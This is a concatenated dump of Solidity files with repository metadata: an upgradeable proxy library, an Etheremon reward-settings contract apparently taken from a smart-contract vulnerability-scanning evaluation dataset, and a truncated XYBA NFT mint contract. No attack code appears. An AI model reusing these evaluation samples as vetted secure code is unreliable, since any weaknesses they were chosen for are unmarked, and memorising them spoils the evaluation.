return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 335,868 | 1,757 |
8089af43ad7d2702ab31c85d2b90c445c72076aeaf3868321d5aa0c871dc68ce
| 27,918 |
.sol
|
Solidity
| false |
87645586
|
zinderud/React-Play
|
3bf55ada5ee3bac4501e1f2cd62180e3038b6ab5
|
sade/my-app/src/code.sol
| 3,013 | 13,127 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(),
implementation,
0,
calldatasize(),
0,
0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
interface IBeacon {
function implementation() external view returns (address);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target,
data,
"Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(target,
data,
"Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot)
internal
pure
returns (AddressSlot storage r)
{
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot)
internal
pure
returns (BooleanSlot storage r)
{
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot)
internal
pure
returns (Bytes32Slot storage r)
{
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot)
internal
pure
returns (Uint256Slot storage r)
{
assembly {
r.slot := slot
}
}
}
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT =
0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation),
"ERC1967: new implementation is not a contract");
StorageSlot
.getAddressSlot(_IMPLEMENTATION_SLOT)
.value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallSecure(address newImplementation,
bytes memory data,
bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot
.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation));
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(),
"ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(),
data);
}
}
bytes32 internal constant _ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0),
"ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT =
0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon),
"ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT ==
bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation()
internal
view
virtual
override
returns (address impl)
{
return ERC1967Upgrade._getImplementation();
}
}
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic,
address admin_,
bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT ==
bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation()
external
ifAdmin
returns (address implementation_)
{
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(),
"TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
| 267,289 | 1,758 |
a15ef8f5a2e0bd69e09a8e4125e847509c79809a8de60c9078407605bd6bbca2
| 18,510 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/0xffdd88294a1ac94e059a7b26ae343f3e87727450.sol
| 7,553 | 18,321 |
pragma solidity ^0.4.23;
contract BasicAccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract EtheremonAdventureSetting is BasicAccessControl {
struct RewardData {
uint monster_rate;
uint monster_id;
uint shard_rate;
uint shard_id;
uint level_rate;
uint exp_rate;
uint emont_rate;
}
mapping(uint => uint[]) public siteSet; // monster class -> site id
mapping(uint => uint) public monsterClassSiteSet;
mapping(uint => RewardData) public siteRewards;
uint public levelItemClass = 200;
uint public expItemClass = 201;
uint[4] public levelRewards = [1, 1, 1, 2];
uint[11] public expRewards = [50, 50, 50, 50, 100, 100, 100, 100, 200, 200, 500];
uint[6] public emontRewards = [300000000, 300000000, 500000000, 500000000, 1000000000, 150000000];
function setConfig(uint _levelItemClass, uint _expItemClass) onlyModerators public {
levelItemClass = _levelItemClass;
expItemClass = _expItemClass;
}
function addSiteSet(uint _setId, uint _siteId) onlyModerators public {
uint[] storage siteList = siteSet[_setId];
for (uint index = 0; index < siteList.length; index++) {
if (siteList[index] == _siteId) {
return;
}
}
siteList.push(_siteId);
}
function removeSiteSet(uint _setId, uint _siteId) onlyModerators public {
uint[] storage siteList = siteSet[_setId];
uint foundIndex = 0;
for (; foundIndex < siteList.length; foundIndex++) {
if (siteList[foundIndex] == _siteId) {
break;
}
}
if (foundIndex < siteList.length) {
siteList[foundIndex] = siteList[siteList.length-1];
delete siteList[siteList.length-1];
siteList.length--;
}
}
function setMonsterClassSiteSet(uint _monsterId, uint _siteSetId) onlyModerators public {
monsterClassSiteSet[_monsterId] = _siteSetId;
}
function setSiteRewards(uint _siteId, uint _monster_rate, uint _monster_id, uint _shard_rate, uint _shard_id, uint _level_rate, uint _exp_rate, uint _emont_rate) onlyModerators public {
RewardData storage reward = siteRewards[_siteId];
reward.monster_rate = _monster_rate;
reward.monster_id = _monster_id;
reward.shard_rate = _shard_rate;
reward.shard_id = _shard_id;
reward.level_rate = _level_rate;
reward.exp_rate = _exp_rate;
reward.emont_rate = _emont_rate;
}
function setLevelRewards(uint _index, uint _value) onlyModerators public {
levelRewards[_index] = _value;
}
function setExpRewards(uint _index, uint _value) onlyModerators public {
expRewards[_index] = _value;
}
function setEmontRewards(uint _index, uint _value) onlyModerators public {
emontRewards[_index] = _value;
}
function initSiteSet(uint _turn) onlyModerators public {
if (_turn == 1) {
siteSet[1] = [35, 3, 4, 37, 51, 8, 41, 11, 45, 47, 15, 16, 19, 52, 23, 36, 27, 30, 31];
siteSet[2] = [35, 3, 4, 49, 39, 8, 41, 11, 13, 15, 48, 43, 18, 19, 53, 23, 27, 30, 31];
siteSet[3] = [2, 4, 39, 40, 9, 47, 12, 14, 44, 16, 49, 20, 46, 54, 24, 25, 27, 36, 29, 31];
siteSet[4] = [51, 3, 5, 38, 7, 40, 11, 12, 45, 14, 47, 16, 35, 52, 21, 22, 26, 30, 31];
siteSet[5] = [33, 3, 4, 54, 38, 8, 10, 43, 45, 14, 50, 18, 35, 21, 22, 46, 26, 28, 42];
siteSet[6] = [51, 3, 36, 5, 7, 44, 42, 12, 13, 47, 17, 37, 19, 52, 24, 26, 28, 29, 31];
siteSet[7] = [32, 48, 2, 43, 4, 38, 7, 9, 42, 11, 34, 15, 16, 49, 21, 23, 25, 30, 53];
siteSet[8] = [1, 34, 54, 6, 33, 8, 44, 39, 12, 13, 46, 17, 50, 20, 22, 40, 24, 25, 29];
siteSet[9] = [32, 2, 6, 7, 40, 10, 39, 44, 34, 15, 48, 17, 50, 20, 21, 24, 25, 29, 52];
siteSet[10] = [32, 1, 36, 5, 38, 48, 9, 11, 45, 15, 16, 49, 19, 41, 23, 27, 28, 53, 37];
} else {
siteSet[11] = [2, 35, 37, 6, 7, 10, 46, 44, 50, 14, 18, 51, 21, 22, 26, 53, 42, 30, 31];
siteSet[12] = [1, 34, 5, 51, 33, 9, 10, 45, 14, 47, 16, 18, 19, 52, 41, 23, 27, 29, 37];
siteSet[13] = [32, 2, 35, 4, 5, 38, 49, 9, 42, 43, 12, 13, 48, 17, 21, 24, 25, 28, 53];
siteSet[14] = [1, 34, 3, 37, 6, 33, 8, 41, 10, 45, 46, 15, 17, 50, 20, 54, 24, 25, 29];
siteSet[15] = [33, 2, 34, 6, 7, 40, 42, 11, 13, 47, 50, 43, 18, 20, 22, 39, 26, 30, 52];
siteSet[16] = [32, 1, 36, 5, 39, 54, 9, 10, 43, 14, 18, 51, 20, 46, 22, 41, 27, 28, 53];
siteSet[17] = [32, 1, 49, 36, 38, 6, 33, 8, 44, 12, 13, 48, 17, 19, 40, 54, 23, 26, 28];
}
}
function initMonsterClassSiteSet() onlyModerators public {
monsterClassSiteSet[1] = 1;
monsterClassSiteSet[2] = 2;
monsterClassSiteSet[3] = 3;
monsterClassSiteSet[4] = 4;
monsterClassSiteSet[5] = 5;
monsterClassSiteSet[6] = 6;
monsterClassSiteSet[7] = 7;
monsterClassSiteSet[8] = 8;
monsterClassSiteSet[9] = 8;
monsterClassSiteSet[10] = 2;
monsterClassSiteSet[11] = 9;
monsterClassSiteSet[12] = 10;
monsterClassSiteSet[13] = 11;
monsterClassSiteSet[14] = 12;
monsterClassSiteSet[15] = 3;
monsterClassSiteSet[16] = 13;
monsterClassSiteSet[17] = 3;
monsterClassSiteSet[18] = 8;
monsterClassSiteSet[19] = 8;
monsterClassSiteSet[20] = 14;
monsterClassSiteSet[21] = 13;
monsterClassSiteSet[22] = 4;
monsterClassSiteSet[23] = 9;
monsterClassSiteSet[24] = 1;
monsterClassSiteSet[25] = 1;
monsterClassSiteSet[26] = 3;
monsterClassSiteSet[27] = 2;
monsterClassSiteSet[28] = 6;
monsterClassSiteSet[29] = 4;
monsterClassSiteSet[30] = 14;
monsterClassSiteSet[31] = 10;
monsterClassSiteSet[32] = 1;
monsterClassSiteSet[33] = 15;
monsterClassSiteSet[34] = 3;
monsterClassSiteSet[35] = 3;
monsterClassSiteSet[36] = 2;
monsterClassSiteSet[37] = 8;
monsterClassSiteSet[38] = 1;
monsterClassSiteSet[39] = 2;
monsterClassSiteSet[40] = 3;
monsterClassSiteSet[41] = 4;
monsterClassSiteSet[42] = 5;
monsterClassSiteSet[43] = 6;
monsterClassSiteSet[44] = 7;
monsterClassSiteSet[45] = 8;
monsterClassSiteSet[46] = 8;
monsterClassSiteSet[47] = 2;
monsterClassSiteSet[48] = 9;
monsterClassSiteSet[49] = 10;
monsterClassSiteSet[50] = 8;
monsterClassSiteSet[51] = 14;
monsterClassSiteSet[52] = 1;
monsterClassSiteSet[53] = 3;
monsterClassSiteSet[54] = 2;
monsterClassSiteSet[55] = 6;
monsterClassSiteSet[56] = 4;
monsterClassSiteSet[57] = 14;
monsterClassSiteSet[58] = 10;
monsterClassSiteSet[59] = 1;
monsterClassSiteSet[60] = 15;
monsterClassSiteSet[61] = 3;
monsterClassSiteSet[62] = 8;
monsterClassSiteSet[63] = 8;
monsterClassSiteSet[64] = 1;
monsterClassSiteSet[65] = 2;
monsterClassSiteSet[66] = 4;
monsterClassSiteSet[67] = 5;
monsterClassSiteSet[68] = 14;
monsterClassSiteSet[69] = 1;
monsterClassSiteSet[70] = 3;
monsterClassSiteSet[71] = 3;
monsterClassSiteSet[72] = 16;
monsterClassSiteSet[73] = 17;
monsterClassSiteSet[74] = 5;
monsterClassSiteSet[75] = 7;
monsterClassSiteSet[76] = 1;
monsterClassSiteSet[77] = 17;
monsterClassSiteSet[78] = 10;
monsterClassSiteSet[79] = 1;
monsterClassSiteSet[80] = 13;
monsterClassSiteSet[81] = 4;
monsterClassSiteSet[82] = 17;
monsterClassSiteSet[83] = 10;
monsterClassSiteSet[84] = 1;
monsterClassSiteSet[85] = 13;
monsterClassSiteSet[86] = 4;
monsterClassSiteSet[87] = 1;
monsterClassSiteSet[88] = 4;
monsterClassSiteSet[89] = 1;
monsterClassSiteSet[90] = 2;
monsterClassSiteSet[91] = 2;
monsterClassSiteSet[92] = 2;
monsterClassSiteSet[93] = 15;
monsterClassSiteSet[94] = 15;
monsterClassSiteSet[95] = 15;
monsterClassSiteSet[96] = 12;
monsterClassSiteSet[97] = 12;
monsterClassSiteSet[98] = 12;
monsterClassSiteSet[99] = 5;
monsterClassSiteSet[100] = 5;
monsterClassSiteSet[101] = 8;
monsterClassSiteSet[102] = 8;
monsterClassSiteSet[103] = 2;
monsterClassSiteSet[104] = 2;
monsterClassSiteSet[105] = 15;
monsterClassSiteSet[106] = 1;
monsterClassSiteSet[107] = 1;
monsterClassSiteSet[108] = 1;
monsterClassSiteSet[109] = 9;
monsterClassSiteSet[110] = 10;
monsterClassSiteSet[111] = 13;
monsterClassSiteSet[112] = 11;
monsterClassSiteSet[113] = 14;
monsterClassSiteSet[114] = 6;
monsterClassSiteSet[115] = 8;
monsterClassSiteSet[116] = 3;
monsterClassSiteSet[117] = 3;
monsterClassSiteSet[118] = 3;
monsterClassSiteSet[119] = 13;
monsterClassSiteSet[120] = 13;
monsterClassSiteSet[121] = 13;
monsterClassSiteSet[122] = 5;
monsterClassSiteSet[123] = 5;
monsterClassSiteSet[124] = 5;
monsterClassSiteSet[125] = 15;
monsterClassSiteSet[126] = 15;
monsterClassSiteSet[127] = 15;
monsterClassSiteSet[128] = 1;
monsterClassSiteSet[129] = 1;
monsterClassSiteSet[130] = 1;
monsterClassSiteSet[131] = 14;
monsterClassSiteSet[132] = 14;
monsterClassSiteSet[133] = 14;
monsterClassSiteSet[134] = 16;
monsterClassSiteSet[135] = 16;
monsterClassSiteSet[136] = 13;
monsterClassSiteSet[137] = 13;
monsterClassSiteSet[138] = 4;
monsterClassSiteSet[139] = 4;
monsterClassSiteSet[140] = 7;
monsterClassSiteSet[141] = 7;
monsterClassSiteSet[142] = 4;
monsterClassSiteSet[143] = 4;
monsterClassSiteSet[144] = 13;
monsterClassSiteSet[145] = 13;
monsterClassSiteSet[146] = 9;
monsterClassSiteSet[147] = 9;
monsterClassSiteSet[148] = 14;
monsterClassSiteSet[149] = 14;
monsterClassSiteSet[150] = 14;
monsterClassSiteSet[151] = 1;
monsterClassSiteSet[152] = 1;
monsterClassSiteSet[153] = 12;
monsterClassSiteSet[154] = 9;
monsterClassSiteSet[155] = 14;
monsterClassSiteSet[156] = 16;
monsterClassSiteSet[157] = 16;
monsterClassSiteSet[158] = 8;
}
function initSiteRewards(uint _turn) onlyModerators public {
if (_turn == 1) {
siteRewards[1] = RewardData(25, 116, 350, 350, 50, 350, 225);
siteRewards[2] = RewardData(25, 119, 350, 350, 50, 350, 225);
siteRewards[3] = RewardData(25, 122, 350, 350, 50, 350, 225);
siteRewards[4] = RewardData(25, 116, 350, 351, 50, 350, 225);
siteRewards[5] = RewardData(25, 119, 350, 351, 50, 350, 225);
siteRewards[6] = RewardData(25, 122, 350, 351, 50, 350, 225);
siteRewards[7] = RewardData(25, 116, 350, 352, 50, 350, 225);
siteRewards[8] = RewardData(25, 119, 350, 352, 50, 350, 225);
siteRewards[9] = RewardData(25, 122, 350, 352, 50, 350, 225);
siteRewards[10] = RewardData(25, 125, 350, 320, 50, 350, 225);
siteRewards[11] = RewardData(25, 128, 350, 320, 50, 350, 225);
siteRewards[12] = RewardData(25, 131, 350, 320, 50, 350, 225);
siteRewards[13] = RewardData(25, 125, 350, 321, 50, 350, 225);
siteRewards[14] = RewardData(25, 128, 350, 321, 50, 350, 225);
siteRewards[15] = RewardData(25, 131, 350, 321, 50, 350, 225);
siteRewards[16] = RewardData(25, 125, 350, 322, 50, 350, 225);
siteRewards[17] = RewardData(25, 128, 350, 322, 50, 350, 225);
siteRewards[18] = RewardData(25, 131, 350, 322, 50, 350, 225);
siteRewards[19] = RewardData(25, 134, 350, 340, 50, 350, 225);
siteRewards[20] = RewardData(25, 136, 350, 340, 50, 350, 225);
siteRewards[21] = RewardData(25, 138, 350, 340, 50, 350, 225);
siteRewards[22] = RewardData(25, 134, 350, 341, 50, 350, 225);
siteRewards[23] = RewardData(25, 136, 350, 341, 50, 350, 225);
siteRewards[24] = RewardData(25, 138, 350, 341, 50, 350, 225);
siteRewards[25] = RewardData(25, 134, 350, 342, 50, 350, 225);
siteRewards[26] = RewardData(25, 136, 350, 342, 50, 350, 225);
siteRewards[27] = RewardData(25, 138, 350, 342, 50, 350, 225);
} else {
siteRewards[28] = RewardData(25, 140, 350, 300, 50, 350, 225);
siteRewards[29] = RewardData(25, 142, 350, 300, 50, 350, 225);
siteRewards[30] = RewardData(25, 144, 350, 300, 50, 350, 225);
siteRewards[31] = RewardData(25, 140, 350, 301, 50, 350, 225);
siteRewards[32] = RewardData(25, 142, 350, 301, 50, 350, 225);
siteRewards[33] = RewardData(25, 144, 350, 301, 50, 350, 225);
siteRewards[34] = RewardData(25, 140, 350, 302, 50, 350, 225);
siteRewards[35] = RewardData(25, 142, 350, 302, 50, 350, 225);
siteRewards[36] = RewardData(25, 144, 350, 302, 50, 350, 225);
siteRewards[37] = RewardData(25, 153, 350, 310, 50, 350, 225);
siteRewards[38] = RewardData(25, 154, 350, 310, 50, 350, 225);
siteRewards[39] = RewardData(25, 155, 350, 310, 50, 350, 225);
siteRewards[40] = RewardData(25, 146, 350, 311, 50, 350, 225);
siteRewards[41] = RewardData(25, 148, 350, 311, 50, 350, 225);
siteRewards[42] = RewardData(25, 151, 350, 311, 50, 350, 225);
siteRewards[43] = RewardData(25, 146, 350, 312, 50, 350, 225);
siteRewards[44] = RewardData(25, 148, 350, 312, 50, 350, 225);
siteRewards[45] = RewardData(25, 151, 350, 312, 50, 350, 225);
siteRewards[46] = RewardData(25, 151, 350, 330, 50, 350, 225);
siteRewards[47] = RewardData(25, 146, 350, 330, 50, 350, 225);
siteRewards[48] = RewardData(25, 148, 350, 330, 50, 350, 225);
siteRewards[49] = RewardData(5, 153, 350, 331, 50, 350, 245);
siteRewards[50] = RewardData(5, 154, 350, 331, 50, 350, 245);
siteRewards[51] = RewardData(5, 155, 350, 331, 50, 350, 245);
siteRewards[52] = RewardData(25, 151, 350, 332, 50, 350, 225);
siteRewards[53] = RewardData(25, 146, 350, 332, 50, 350, 225);
siteRewards[54] = RewardData(25, 148, 350, 332, 50, 350, 225);
}
}
function getSiteRewards(uint _siteId) constant public returns(uint monster_rate, uint monster_id, uint shard_rate, uint shard_id, uint level_rate, uint exp_rate, uint emont_rate) {
RewardData storage reward = siteRewards[_siteId];
return (reward.monster_rate, reward.monster_id, reward.shard_rate, reward.shard_id, reward.level_rate, reward.exp_rate, reward.emont_rate);
}
function getSiteId(uint _classId, uint _seed) constant public returns(uint) {
uint[] storage siteList = siteSet[monsterClassSiteSet[_classId]];
if (siteList.length == 0) return 0;
return siteList[_seed % siteList.length];
}
function getSiteItem(uint _siteId, uint _seed) constant public returns(uint _monsterClassId, uint _tokenClassId, uint _value) {
uint value = _seed % 1000;
RewardData storage reward = siteRewards[_siteId];
// assign monster
if (value < reward.monster_rate) {
return (reward.monster_id, 0, 0);
}
value -= reward.monster_rate;
// shard
if (value < reward.shard_rate) {
return (0, reward.shard_id, 0);
}
value -= reward.shard_rate;
// level
if (value < reward.level_rate) {
return (0, levelItemClass, levelRewards[value%4]);
}
value -= reward.level_rate;
// exp
if (value < reward.exp_rate) {
return (0, expItemClass, expRewards[value%11]);
}
value -= reward.exp_rate;
return (0, 0, emontRewards[value%6]);
}
}
| 219,033 | 1,759 |
41358be06231db67223a6fa0b417eb1a1057c7687fba5ae4997aa116c248e91f
| 12,620 |
.sol
|
Solidity
| false |
620735982
|
XYBA-GAME-STUDIO/XYBA-Party-Contracts
|
c108a0cb0a36d63830ef6d50a9e3d55add603277
|
contracts/XYBASeed.sol
| 3,004 | 12,463 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
// @author: XYBA PARTY DEV
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
interface ERC721XYBAAdherent {
function mint(bytes memory signature, uint256 tokenId, address to) external payable;
function ownerOf(uint256 tokenId) external view returns (address owner);
}
contract XYBASeed is
ERC721Enumerable,
ERC721Holder,
Ownable,
Pausable,
ReentrancyGuard {
using SafeMath for uint256;
using Math for uint256;
using Strings for uint256;
using Counters for Counters.Counter;
/// max address mint supply, 0 means no limit
uint256 public maxAddressMintSupply = 1000;
/// max free mint supply, 0 means no limit
uint256 public maxFreeMintSupply = 1000;
/// max count of one wallet can mint, 0 means no limit
uint256 public maxMintCountLimitOfOneAddress = 10;
/// base token uri
string public baseTokenURI;
/// XYBA Adherent Contract
ERC721XYBAAdherent public adherentContract;
/// token index counter
Counters.Counter private _tokenIndex;
/// address mint counter
Counters.Counter private _addressMintedCounter;
/// free mint counter
Counters.Counter private _freeMintedCounter;
/// record the used whitelist signature
mapping(bytes => bool) private _signatureUsed;
/// record each address mint count
mapping(address => uint256) private _mintCounter;
/// address used to verify sign
address private _signerAddress;
/// Initial Smart Contract
/// @param name contract name
/// @param symbol contract symbol
/// @param baseTokenURI_ base URI of all tokens
/// @param signerAddress the admin address to verify signature
constructor(string memory name,
string memory symbol,
string memory baseTokenURI_,
address signerAddress)
ERC721(name, symbol)
{
baseTokenURI = baseTokenURI_;
_signerAddress = signerAddress;
}
// ======================================================== Owner Functions
/// Set the base URI of tokens
/// @param baseTokenURI_ new base URI
function setBaseURI(string memory baseTokenURI_) external onlyOwner {
baseTokenURI = baseTokenURI_;
}
/// Set the pause status
/// @param isPaused pause or not
function setPaused(bool isPaused) external onlyOwner {
isPaused ? _pause() : _unpause();
}
/// Set Max Address Mint Supply
/// @param count max address mint supply
function setMaxAddressMintSupply(uint256 count) external onlyOwner {
require(count >= totalSupply(), 'Max address mint supply needs to be greater than total supply');
maxAddressMintSupply = count;
}
/// Set Max Free Mint Supply
/// @param count max free mint supply
function setMaxFreeMintSupply(uint256 count) external onlyOwner {
maxFreeMintSupply = count;
}
/// Set Max Mint Count Of One Address
/// @param count max mint count limit of one address
function setMaxMintCountLimitOfOneAddress(uint256 count) external onlyOwner {
maxMintCountLimitOfOneAddress = count;
}
/// Set XYBA Adherent Contract
/// @param _adherentContract XYBA Adherent contract address
function setXYBAAdherentContract(ERC721XYBAAdherent _adherentContract) external onlyOwner {
adherentContract = _adherentContract;
}
/// Airdrop NFTs to Receiver
/// @param receiver the receiver address
/// @param count tokens count
function airdrop(address receiver, uint count) external whenNotPaused onlyOwner {
for (uint i = 0; i < count; i++) {
_airdrop(receiver);
}
}
/// Owner Mint NFTs to Receiver
function ownerMint() external whenNotPaused onlyOwner {
_safeMint(address(this));
}
/// Owner Batch Mint NFTs to Receiver
function ownerMintBatch(uint256 count) external whenNotPaused onlyOwner {
for (uint i = 0; i < count; i++) {
_safeMint(address(this));
}
}
/// @notice Transfer Token from contract to user wallet
/// @param to target user wallet address
/// @param tokenId token to transfer
function ownerTransfer(address to, uint256 tokenId) external onlyOwner {
require(ownerOf(tokenId) == address(this), 'Contract self is not token owner');
_safeTransfer(address(this), to, tokenId, new bytes(0));
}
/// @notice Withdraw
